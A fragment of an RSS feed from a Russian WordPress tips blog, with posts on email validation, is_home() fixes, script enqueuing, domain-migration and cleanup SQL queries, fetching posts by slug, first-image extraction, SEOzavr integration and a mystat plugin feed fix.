		<description><![CDATA[Очень часто при работе с WordPress бывают ситуация  когда необходимо проверить правильность введенного email, или  же   проверить зарегистрирован ли уже такой email . is_email($email) &#8212; проверка правильности email в WordPress email_exists($email) &#8212; проверка на существование email в базе]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/11/email-subscription-box1-300x240.jpg" alt="" title="email-subscription-box[1]" width="300" height="240" class="aligncenter size-medium wp-image-1165" /></p>
<p>Очень часто при работе с WordPress бывают  ситуация  когда необходимо проверить правильность введенного email, или  же   проверить зарегистрирован ли уже такой email .</p>
<p><span id="more-1161"></span><br />
is_email($email) &#8212; проверка правильности email в WordPress</p>
<p>email_exists($email) &#8212; проверка на существование  email в базе</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/11/27/validaciya-email-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress is_home() работает некорректно</title>
		<link>http://saintist.ru/2010/11/09/wordpress-is_home-rabotaet-nekorrektno/</link>
		<comments>http://saintist.ru/2010/11/09/wordpress-is_home-rabotaet-nekorrektno/#comments</comments>
		<pubDate>Mon, 08 Nov 2010 22:05:12 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1151</guid>
		<description><![CDATA[При натяжке очередной шкурки на WordPress столкнулся с проблемой, is_home() адекватно срабатывало только в header шаблона, в footer не реагировало. После детального разбора выяснил , что не работает is_home() в WordPress на страницах шаблона где для вывода использовал свои запросы. для возобновления работоспособности is_home() необходимо добавить перед is_home() строку кода &#60;?php wp_reset_query(); ?&#62; и все [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/11/wordpress-must-dos1.jpg" alt="" title="not word is_home()" width="300" height="278" class="aligncenter size-full wp-image-1152" /><br />
При натяжке очередной  шкурки на WordPress столкнулся с проблемой, is_home() адекватно  срабатывало только  в header шаблона, в footer  не реагировало.</p>
<p>После детального разбора выяснил , что<span id="more-1151"></span> не работает is_home()  в WordPress  на страницах шаблона где для вывода использовал свои запросы.</p>
<p>для возобновления работоспособности is_home() необходимо  добавить перед is_home() строку кода</p>
<p><strong>&lt;?php wp_reset_query(); ?&gt;</strong></p>
<p>и все будет работать</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/11/09/wordpress-is_home-rabotaet-nekorrektno/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Корректная вставка SWFObject в WordPress</title>
		<link>http://saintist.ru/2010/11/03/korrektnaya-vstavka-swfobject-v-wordpress/</link>
		<comments>http://saintist.ru/2010/11/03/korrektnaya-vstavka-swfobject-v-wordpress/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 15:16:12 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[swfobject]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1143</guid>
		<description><![CDATA[При  создании шкурок для WordPress  многие  используют  конструкцию подобную &#60;script type=&#187;text/javascript&#187; src=&#187;&#60;?php bloginfo(&#171;template_url&#187;); ?&#62;/js/swfobject.js&#187;&#62;&#60;/script&#62; для корректной вставки в  WordPress  библиотеки SWFObject необходимо в  header добавить две строчки кода &#60;?wp_enqueue_script(&#171;swfobject&#187;); ?&#62; &#60;?wp_head(); ?&#62;]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste">При  создании шкурок для WordPress  многие  используют  конструкцию подобную</div>
<div id="_mcePaste"><strong>&lt;script type=&#187;text/javascript&#187; src=&#187;&lt;?php bloginfo(&#171;template_url&#187;); ?&gt;/js/swfobject.js&#187;&gt;&lt;/script&gt;</strong></div>
<div><strong><span id="more-1143"></span><br />
</strong></div>
<div id="_mcePaste">для корректной вставки в  WordPress  библиотеки SWFObject</div>
<div id="_mcePaste">необходимо в  header добавить две строчки кода</div>
<div id="_mcePaste"><strong>&lt;?wp_enqueue_script(&#171;swfobject&#187;); ?&gt;</strong></div>
<div id="_mcePaste"><strong>&lt;?wp_head(); ?&gt;</strong></div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/11/03/korrektnaya-vstavka-swfobject-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress полезные SQL запросы</title>
		<link>http://saintist.ru/2010/09/30/wordpress-poleznye-sql-zaprosy/</link>
		<comments>http://saintist.ru/2010/09/30/wordpress-poleznye-sql-zaprosy/#comments</comments>
		<pubDate>Thu, 30 Sep 2010 17:22:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1134</guid>
		<description><![CDATA[Каким бы замечательным не был WordPress но случаются ситуации когда появляется необходимость в стороннем вмешательстве в его базу. В таких ситуациях помогут несколько простых вещей. Если переезжаем на другой доменто пригодятся вот такие SQL запросы. Меняем значения home и siteurl на новый домен. UPDATE wp_options SET option_value = replace(option_value, &#8216;http://www.oldurl.com&#8217;, &#8216;http://www.newurl.com&#8217;) WHERE option_name = &#8216;home&#8217; [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2010/09/wp_schema1.png"><img src="http://saintist.ru/wp-content/uploads/2010/09/wp_schema1-300x269.png" alt="" title="SQL WordPress" width="300" height="269" class="aligncenter size-medium wp-image-1136" /></a></p>
<p>Каким бы замечательным не был  WordPress но случаются ситуации когда появляется необходимость в стороннем вмешательстве в его базу. В таких ситуациях помогут несколько простых вещей.<br />
<span id="more-1134"></span></p>
<p>Если переезжаем на  другой  доменто пригодятся вот такие SQL запросы.</p>
<p>Меняем значения <strong>home</strong> и <strong>siteurl</strong> на новый домен.</p>
<p><strong>UPDATE wp_options SET option_value = replace(option_value, &#8216;http://www.oldurl.com&#8217;, &#8216;http://www.newurl.com&#8217;) WHERE option_name = &#8216;home&#8217; OR option_name = &#8216;siteurl&#8217;;</strong></p>
<p>Меняем GUID </p>
<p><strong>UPDATE wp_posts SET guid = REPLACE (guid, &#8216;http://www.oldurl.com&#8217;, &#8216;http://www.newurl.com&#8217;);</strong></p>
<p>Меняем значение URL в постах</p>
<p><strong>UPDATE wp_posts SET post_content = REPLACE (post_content, &#8216;http://www.oldurl.com&#8217;, &#8216;http://www.newurl.com&#8217;);</strong></p>
<p>Меняем путь к картинкам если они лежат у вас на хосте</p>
<p><strong>UPDATE wp_posts SET post_content = REPLACE (post_content, &#8216;src=&#187;http://www.oldurl.com&#8217;, &#8216;src=&#187;http://yourcdn.newurl.com&#8217;);</strong></p>
<p><strong>UPDATE wp_posts SET guid = REPLACE (guid, &#8216;http://www.oldurl.com&#8217;, &#8216;http://yourcdn.newurl.com&#8217;) WHERE post_type = &#8216;attachment&#8217;;</strong></p>
<p>Обновляем мета данные постов</p>
<p><strong>UPDATE wp_postmeta SET meta_value = REPLACE (meta_value, &#8216;http://www.oldurl.com&#8217;,'http://www.newurl.com&#8217;);</strong></p>
<p>На домен новый переехали.</p>
<p>Также пригодятся запросы:</p>
<p>Меняем имя администратора  [admin] по умолчанию<br />
<strong>UPDATE wp_users SET user_login = &#8216;newlogin WHERE user_login = &#8216;Admin&#8217;;</strong></p>
<p>Сброс пароля</p>
<p><strong>UPDATE wp_users SET user_pass = MD5( &#8216;newpass&#8217; ) WHERE user_login = &#8216;userlogin&#8217;;</strong></p>
<p>Удаляем старые версии постов, очень ускоряет блог.</p>
<p><strong>DELETE a,b,c FROM wp_posts a<br />
LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)<br />
LEFT JOIN wp_postmeta c ON (a.ID = c.post_id)<br />
WHERE a.post_type = &#8216;revision&#8217;;</strong></p>
<p>Удаляем спам из комментов</p>
<p><strong>DELETE FROM wp_comments WHERE comment_approved = &#8216;spam&#8217;;</strong></p>
<p>Удаляем все пинбеки</p>
<p><strong>DELETE FROM wp_comments WHERE comment_type = &#8216;pingback&#8217;;</strong></p>
<p>Вычисляем неиспользуемые тэги</p>
<p><strong>SELECT * FROM wp_terms wt<br />
INNER JOIN wp_term_taxonomy wtt ON wt.term_id=wtt.term_id<br />
INNER JOIN wp_term_relationships wtr ON wtr.term_taxonomy_id=wtt.term_taxonomy_id<br />
LEFT JOIN wp_posts wp ON wp.ID=wtr.object_id<br />
WHERE taxonomy=&#8217;post_tag&#8217;<br />
AND ID IS null<br />
AND NOT EXISTS(SELECT * From wp_terms wt2<br />
INNER JOIN wp_term_taxonomy wtt2 ON wt2.term_id=wtt2.term_id WHERE wtt2.parent=wt.term_id) ORDER BY name;</strong></p>
<p>ps: перед всеми действиями не забудь сделать бекап базы </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/09/30/wordpress-poleznye-sql-zaprosy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress получить страницу или пост по  его  slug</title>
		<link>http://saintist.ru/2010/09/27/wordpress-poluchit-stranicu-ili-post-po-ego-slug/</link>
		<comments>http://saintist.ru/2010/09/27/wordpress-poluchit-stranicu-ili-post-po-ego-slug/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 19:57:10 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1120</guid>
		<description><![CDATA[Довольно востребованная вещь при создании сайтов на wordpress, получение контента специфического поста или страницы по его slug, в случае с id вопросов не возникает, все довольно просто. Используя get_post($post_id, OBJECT); можно получить нужный пост по его id, то со slug придется немного повозиться. функция function getPostBySlug($postName, $type="post", $output = OBJECT) { global $wpdb; $post = [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1123" title="wordpress получить содержимое поста или страницы по ее slug" src="http://saintist.ru/wp-content/uploads/2010/09/icon-big1-300x267.png" alt="wordpress get  post page  content by slug" width="300" height="267" /></p>
<p>Довольно востребованная  вещь при создании  сайтов на wordpress, получение контента специфического поста или  страницы по его slug, в случае с  id вопросов не возникает, все довольно просто.<br />
<span id="more-1120"></span></p>
<p>Используя get_post($post_id, OBJECT);  можно получить нужный пост по его id, то со slug  придется немного повозиться.</p>
<p>функция</p>
<pre>
function getPostBySlug($postName, $type="post", $output = OBJECT)
{
global $wpdb;
$post = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_name = %s AND post_type='".$type."'", $postName ));
if ( $post ){
return get_post($post, $output);
}
return false;
}
</pre>
<p>легко справляется с поставленной задачей</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/09/27/wordpress-poluchit-stranicu-ili-post-po-ego-slug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress установка параметров</title>
		<link>http://saintist.ru/2010/08/28/wordpress-ustanovka-parametrov/</link>
		<comments>http://saintist.ru/2010/08/28/wordpress-ustanovka-parametrov/#comments</comments>
		<pubDate>Sat, 28 Aug 2010 07:24:21 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1110</guid>
		<description><![CDATA[Не все знают эту фишку WordPress и пишут о ней почему-то редко. Как посмотреть все настройки вашего блога на WordPress. Для этого достаточно набрать в адресной строке http://ваш_блог_на _wordpress/wp-admin/options.php и откроется страница со абсолютно всеми опциями вашего блога, и установленных в нем плагинов]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/08/saintist.ru_-300x53.png" alt="Все настройки блога на wordpress" title="saintist.ru" width="300" height="53" class="aligncenter size-medium wp-image-1111" /><br />
Не все знают  эту фишку WordPress и пишут о ней  почему-то редко.<br />
Как посмотреть все настройки  вашего блога  на WordPress.<br />
<span id="more-1110"></span></p>
<p>Для этого достаточно  набрать в адресной строке </p>
<p>http://ваш_блог_на _wordpress/wp-admin/options.php</p>
<p>и откроется страница со абсолютно всеми  опциями  вашего блога, и установленных в нем плагинов</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/08/28/wordpress-ustanovka-parametrov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Получение первой картинки из поста в WordPress</title>
		<link>http://saintist.ru/2010/04/04/poluchenie-pervoj-kartinki-iz-posta-v-wordpress/</link>
		<comments>http://saintist.ru/2010/04/04/poluchenie-pervoj-kartinki-iz-posta-v-wordpress/#comments</comments>
		<pubDate>Sat, 03 Apr 2010 20:13:41 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1066</guid>
		<description><![CDATA[Столкнулся с задачей при сборке очередного скина для wordpress. Необходимо было выводить первую картинку из поста в списке постов отдельно от текста поста. Для реализации этого функционала необходимо добавить в файл темы functions.php кусок кода function post_first_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/&#60;img.+src=[\'"]([^\'"]+)[\'"].*&#62;/i', $post-&#62;post_content, $matches); $first_img = $matches [1] [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2010/01/wordpress_normal.jpg"><img class="size-medium wp-image-993 aligncenter" title="wordpress category id" src="/wp-content/uploads/2010/01/wordpress_normal-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Столкнулся с задачей при сборке очередного  скина для wordpress. Необходимо было выводить первую картинку из поста в списке  постов отдельно от текста поста.</p>
<p>Для реализации этого функционала необходимо добавить в файл темы functions.php кусок кода<span id="more-1066"></span></p>
<pre>function post_first_image() {
  global $post, $posts;
  $first_img = '';
  ob_start();
  ob_end_clean();
  $output = preg_match_all('/&lt;img.+src=[\'"]([^\'"]+)[\'"].*&gt;/i',
$post-&gt;post_content, $matches);
  $first_img = $matches [1] [0];

  if(empty($first_img)){</pre>
<pre>//-- если нет картинок добавляем  путь</pre>
<pre>на изображение по умолчанию</pre>
<pre>    $first_img = "/images/default.jpg";
  }
  return $first_img;
}</pre>
<p>а в шаблоне где необходимо  вы водить картинку добавить post_first_image()</p>
<p><strong>Уточню.</strong></p>
<p>Функция  post_first_image() возвращает путь к первому изображению в текущем посте, т.е. ее необходимо добавлять в виде  &lt;img src=&#187;&lt;? post_first_image();?&gt;&#187; &gt;</p>
<p><strong>А также</strong></p>
<p>В версию WordPress 2.9 добавлена функция <strong>post_thumbnail</strong></p>
<p>Для активации в functions.php добавляем код</p>
<div id="_mcePaste">if ( function_exists( &#8216;add_theme_support&#8217; ) ){</div>
<div id="_mcePaste">add_theme_support( &#8216;post-thumbnails&#8217;);</div>
<div>//&#8212; задаем  по умолчанию размер превью</div>
<div><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">set_post_thumbnail_size( 50, 50, true ); </span></div>
<div>
<p><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;"><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;"> </span></span></p>
<div><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">//&#8212; задаем размер превью картинки для показа на странице поста</span></div>
</div>
<div><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">add_image_size( &#8216;single-post-thumbnail&#8217;, 400, 9999 ); </span></div>
<div>}</div>
<div>
<div>//&#8212; включаем поддержку превъю только для  постов</div>
<div><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">add_theme_support( &#8216;post-thumbnails&#8217;, array( &#8216;post&#8217; ) ); </span></div>
<div style="text-align: left;"><span style="font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: small;"><span style="border-collapse: collapse; line-height: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"><span style="border-collapse: separate; font-family: 'Times New Roman'; line-height: normal; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; font-size: small;"></p>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace;"><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;">//-- включаем поддержку превъю только для  страниц</span></pre>
<pre style="font: normal normal normal 12px/18px Consolas, Monaco, 'Courier New', Courier, monospace;">add_theme_support( 'post-thumbnails', array( 'page' ) );</pre>
<p></span></span></span></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/04/04/poluchenie-pervoj-kartinki-iz-posta-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Интеграция SEOzavr в WordPress</title>
		<link>http://saintist.ru/2010/03/09/integraciya-seozavr-v-wordpress/</link>
		<comments>http://saintist.ru/2010/03/09/integraciya-seozavr-v-wordpress/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 11:47:02 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1032</guid>
		<description><![CDATA[Блоги на wordpress отличное решение для биржи статей SEOzavr , как впрочем и сам WordPress. Интеграция кода SEOzavr в вордпресс довольно проста главное делать все правильно и аккуратно. Что же нужно сделать чтобы интегрировать код SEOzavr в WordPress? Для списка статей с SEOzavr необходимо завести в блоге отдельную страницу, именно страницу а не пост. Все [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.seozavr.ru/index.php?id=27741"><img class="size-full wp-image-1024 aligncenter" title="wordpress_and_seozavr" src="http://saintist.ru/wp-content/uploads/2010/03/wordpress_and_seozavr.jpg" alt="" width="270" height="164" /></a></p>
<p>Блоги на wordpress отличное решение для биржи статей <a href="http://www.seozavr.ru/index.php?id=27741">SEOzavr</a> , как впрочем и сам  WordPress.</p>
<p>Интеграция  кода SEOzavr в вордпресс довольно проста главное делать все  правильно и аккуратно.<br />
<span id="more-1032"></span></p>
<p><strong>Что же нужно сделать чтобы интегрировать код SEOzavr в WordPress?</strong></p>
<p>Для списка статей с SEOzavr необходимо завести в блоге  отдельную страницу, <strong>именно страницу а не пост</strong>.</p>
<p>Все статьи  которые будут приходить с SEOzavr имеют собственные  title keywords n descriptions/ Поэтому если у вашего блога в наличии  SEO плагины  то  для  этой страницы их необходимо либо отключить либо  модифицировать, иначе не сможете добавить  ваш  сайт как площадку в SEOzavr.</p>
<p><strong>Итак  сам процесс интеграции  кода SEOzavr  в WordPress</strong>.</p>
<p><strong>Шаг  1.</strong><br />
При добавлении и новой площадки  вам предлагают скачать  архив <strong>seozavr.zip</strong>. Качаем его и  распаковываем . Внутри лежит папка с  длинным  названием. Копируем ее в корень вашего сайта.</p>
<p><strong>Шаг 2.</strong></p>
<p>Создаем копию  шаблона <strong>header.php</strong> вашей темы  назовем ее <strong>headerseozavr.php</strong></p>
<p>В headerseozavr.php находим вывод  title  description и keydords страницы и  заменяем их на</p>
<div id="_mcePaste">&lt;?php</div>
<div id="_mcePaste">include(&#171;название  папки в архиве сеозавра/seozavr.php&#187;);</div>
<div id="_mcePaste">$seozavr = new seozavr();</div>
<div id="_mcePaste">$seozavr-&gt;encoding= &#8216;utf-8&#8242;;</div>
<div id="_mcePaste">$seozavr-&gt;showHead();</div>
<div id="_mcePaste">?&gt;</div>
<p><strong>$seozavr-&gt;encoding= &#8216;utf-8&#8242;;</strong> &#8212;  кодировка вашего  сайта, скорее всего менять не понадобится</p>
<p><strong>Шаг 3.</strong><br />
Для вывода списка статей SEOzavr   необходимо сделать отдельный шаблон в вашей теме  вордпресс под  страницу SEOzavr  . Берем файл  <strong>page.php</strong> и делаем его копию назвав <strong>pageseozavr.php</strong>.<br />
Открываем его.</p>
<p>В самое начало  добавляем</p>
<p><strong>&lt;?php</strong></p>
<p><strong>/*</strong></p>
<p><strong>Template Name: SEOzavr</strong></p>
<p><strong>*/</strong></p>
<p><strong>?&gt;</strong></p>
<p>Этот код обязателен он  дает понять WordPress что текущий шаблон,  шаблон с и именем SEOzavr и будет использоваться  для генерации определенных  страниц. Ниже будет понятно зачем это.</p>
<p>Далее.</p>
<p>Ищем  get_header();</p>
<p>Заменяем  на <strong>&lt;?php include ( &#8216;headerseozavr.php&#8217;); ?&gt;</strong> т.е. подключаем   шапку для генерации  страницы  под SEOzavr .</p>
<p>Далее  ищем  вывод  контента  в <strong>pageseozavr.php</strong></p>
<p>вот так например <strong>&lt;?php the_content(&#8216;&lt;p class=&#187;serif&#187;&gt;Read the rest of this page &amp;raquo;&lt;/p&gt;&#8217;); ?&gt;</strong></p>
<p>меняем на <strong>&lt;?php $seozavr-&gt;showBody(); ?&gt;</strong></p>
<p><strong>Шаг 4.</strong></p>
<p><strong>Создаем страницу, именно страницу а не пост!</strong></p>
<p>название какое угодно например <strong>Статьи</strong><br />
а  в качестве шаблона страницы выдираем наш шаблон для SEOzavr</p>
<p style="text-align: center;"><img class="size-full wp-image-1034 aligncenter" title="seozavr_code_page" src="http://saintist.ru/wp-content/uploads/2010/03/seozavr_code_page.jpg" alt="" width="288" height="338" /></p>
<p>Публикуем.</p>
<p>Вот и все.</p>
<p>Да и не забудьте что на главной должна быть ссылка на эту страницу.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/09/integraciya-seozavr-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress plugin All in One SEO и SeoZavr</title>
		<link>http://saintist.ru/2010/03/09/wordpress-plugin-all-in-one-seo-i-seozavr/</link>
		<comments>http://saintist.ru/2010/03/09/wordpress-plugin-all-in-one-seo-i-seozavr/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 20:53:00 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1023</guid>
		<description><![CDATA[Биржа статей http://www.seozavr.ru/ отличное решения для заработка на статьях владельцам сайтов. Но вот если ваш сайт на WordPress и у вас установлен такой замечательный плагин как All in One SEO то при добавлении кода биржы возникает заминка, при добавлении площадки выводит сообщение что не найден тайтл пробной статьи по указанному url. Фиксится очень просто. All [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.seozavr.ru/index.php?id=27741"><img class="size-full wp-image-1024 aligncenter" title="wordpress_and_seozavr" src="http://saintist.ru/wp-content/uploads/2010/03/wordpress_and_seozavr.jpg" alt="" width="270" height="164" /></a></p>
<p>Биржа статей <a href="http://www.seozavr.ru/index.php?id=27741">http://www.seozavr.ru/</a> отличное решения для заработка на статьях  владельцам сайтов. Но вот если ваш сайт на WordPress и у вас установлен такой замечательный плагин как <strong>All in One SEO</strong> то при добавлении кода биржы возникает заминка, при добавлении площадки  выводит сообщение что <strong>не найден тайтл  пробной статьи</strong> по указанному url. Фиксится очень просто.<br />
<span id="more-1023"></span><br />
All in One SEO попросту подменяет тайтл страницы который генерируется скриптом сеозавра.</p>
<p>Для исправления подобной заминки необходимо перейти на страницу конфигурации All in One SEO и не забыть убрать галочку  в пункте <strong>Rewrite Titles:</strong></p>
<p style="text-align: center;"><strong></strong><br />
<img class="size-full wp-image-1025 aligncenter" title="wordpress_and_seozavr_rewrite_titles" src="http://saintist.ru/wp-content/uploads/2010/03/wordpress_and_seozavr_rewrite_titles.jpg" alt="" width="188" height="77" /></p>
<p>Но такое решение  отключит  сеопак для  тайтлов всех  постов.</p>
<p>Проще добавить  в <strong>Exclude Pages: </strong> адреса тех  статей где не нужно использовать сеопак<br />
<img src="http://saintist.ru/wp-content/uploads/2010/03/asp_excluded_pages.jpg" alt="" title="asp_excluded_pages" width="574" height="58" class="alignnone size-full wp-image-1043" /></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/03/09/wordpress-plugin-all-in-one-seo-i-seozavr/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>rss не работает в wordpress?</title>
		<link>http://saintist.ru/2010/02/20/rss-ne-rabotaet-v-wordpress/</link>
		<comments>http://saintist.ru/2010/02/20/rss-ne-rabotaet-v-wordpress/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 15:01:52 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1003</guid>
		<description><![CDATA[Обратил внимание что подпишись на  rss почему-то не работает корректно. Ругалось на вот такой кусок xml &#60;img style=&#8217;margin:0;padding:0;border:0;&#8217; width=&#8217;1px&#8217; height=&#8217;1px&#8217; src=&#187;http://saintist.ru/wp-content/plugins/mystat/mystat.php?act=time_load&#38;id=47010&#38;rnd=200251568&#8243; /&#62;&#60;/channel&#62; ругалось на синтаксическую ошибку Как видно из кода виновник установленный плагин wordpress mystat, который вставляет свой маркер статистики с rss. Фиксится очень просто: открываем /wp-content/plugins/mystat/mystat.php ищем строку (№475) echo &#171;&#60;img style=&#8217;margin:0;padding:0;border:0;&#8217; width=&#8217;1px&#8217; height=&#8217;1px&#8217; [...]]]></description>
			<content:encoded><![CDATA[<p>Обратил внимание что <a href="http://saintist.ru/feed">подпишись на  rss</a> почему-то не работает корректно. Ругалось на вот такой кусок xml</p>
<p>&lt;img style=&#8217;margin:0;padding:0;border:0;&#8217; width=&#8217;1px&#8217; height=&#8217;1px&#8217; src=&#187;http://saintist.ru/wp-content/plugins/mystat/mystat.php?act=time_load&amp;id=47010&amp;rnd=200251568&#8243; /&gt;&lt;/channel&gt;</p>
<p>ругалось на синтаксическую ошибку</p>
<p><span id="more-1003"></span></p>
<p>Как видно из кода виновник установленный плагин wordpress mystat, который вставляет свой маркер статистики с rss.</p>
<p>Фиксится очень просто: открываем<br />
<strong>/wp-content/plugins/mystat/mystat.php </strong> </p>
<p>ищем строку (№475)</p>
<p><strong>echo &#171;&lt;img style=&#8217;margin:0;padding:0;border:0;&#8217; width=&#8217;1px&#8217; height=&#8217;1px&#8217; src=\&#187;".WP_PLUGIN_URL.&#187;/&#187;.dirname(plugin_basename(__FILE__)).&#187;/mystat.php&#187;.&#187;?act=time_load&amp;id=&#187;.$GLOBALS['myStat_id'].&#187;&amp;rnd=&#187;.rand().&#187;\&#187; /&gt;&#187;;</strong></p>
<p>и заменяем ее на</p>
<p><strong><br />
if(!is_feed()) {echo &#171;<img style='margin:0;padding:0;border:0;' width='1px' height='1px' src=\"".WP_PLUGIN_URL."/".dirname(plugin_basename(__FILE__))."/mystat.php"."?act=time_load&#038;id=".$GLOBALS['myStat_id']."&#038;rnd=".rand()."\" />&#171;;}</strong></p>
<p>т.е. отключаем маркер если идет вывод rss )</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/02/20/rss-ne-rabotaet-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>WordPress подключение JQuery</title>
		<link>http://saintist.ru/2010/02/11/wordpress-jquery/</link>
		<comments>http://saintist.ru/2010/02/11/wordpress-jquery/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 20:40:14 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=996</guid>
		<description><![CDATA[jQuery очень удобный инструмент так же как и WordPress ). Необходимо было подключить jQuery к wordpress. Делается одной строкой Worpress уже включает в себя JQuery. Для активации в теме wordpress jQuery необходимо в область head перед wp_head() добавить код wp_enqueue_script(&#171;jquery&#187;); дело в том что функция wp_enqueue_script(), позволяет безопасного подключения javascript в тему WordPress. Атрибуты wp_enqueue_script [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2010/01/wordpress_normal.jpg"><img class="size-medium wp-image-993 aligncenter" title="Wordpress подключение JQuery" src="/wp-content/uploads/2010/01/wordpress_normal-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>jQuery очень удобный инструмент так же как и WordPress ).<br />
Необходимо было подключить jQuery к wordpress. Делается одной строкой<br />
<span id="more-996"></span></p>
<p>Worpress уже включает в себя JQuery.<br />
Для активации в теме wordpress jQuery необходимо  в область<br />
<strong>head </strong>перед <strong>wp_head()</strong></p>
<p>добавить код</p>
<p><strong>wp_enqueue_script(&#171;jquery&#187;);</strong></p>
<p>дело в том что функция wp_enqueue_script(), позволяет  безопасного подключения javascript в тему WordPress. </p>
<p><strong>Атрибуты wp_enqueue_script</strong></p>
<p><strong><?php wp_enqueue_script( $handle, $src, $deps, $ver ); ?></strong></p>
<p><strong>$handle</strong> -Название скрипта. Без регистра. </p>
<p><strong>$src</strong> -необязательный путь к скрипту из корневой директории WordPress. Необходим когда WordPress ничего не знает об этом скрипте.</p>
<p><strong>$deps</strong> &#8212; Массив указателей на любые скрипты, от которых зависит этот скрипт; скрипты, которые должны быть загружены до этого скрипта. </p>
<p><strong>$ver</strong> -Необязательный параметр строка указывает номер версии скрипта, если их несколько. </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/02/11/wordpress-jquery/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress Получение id родительской рубрики</title>
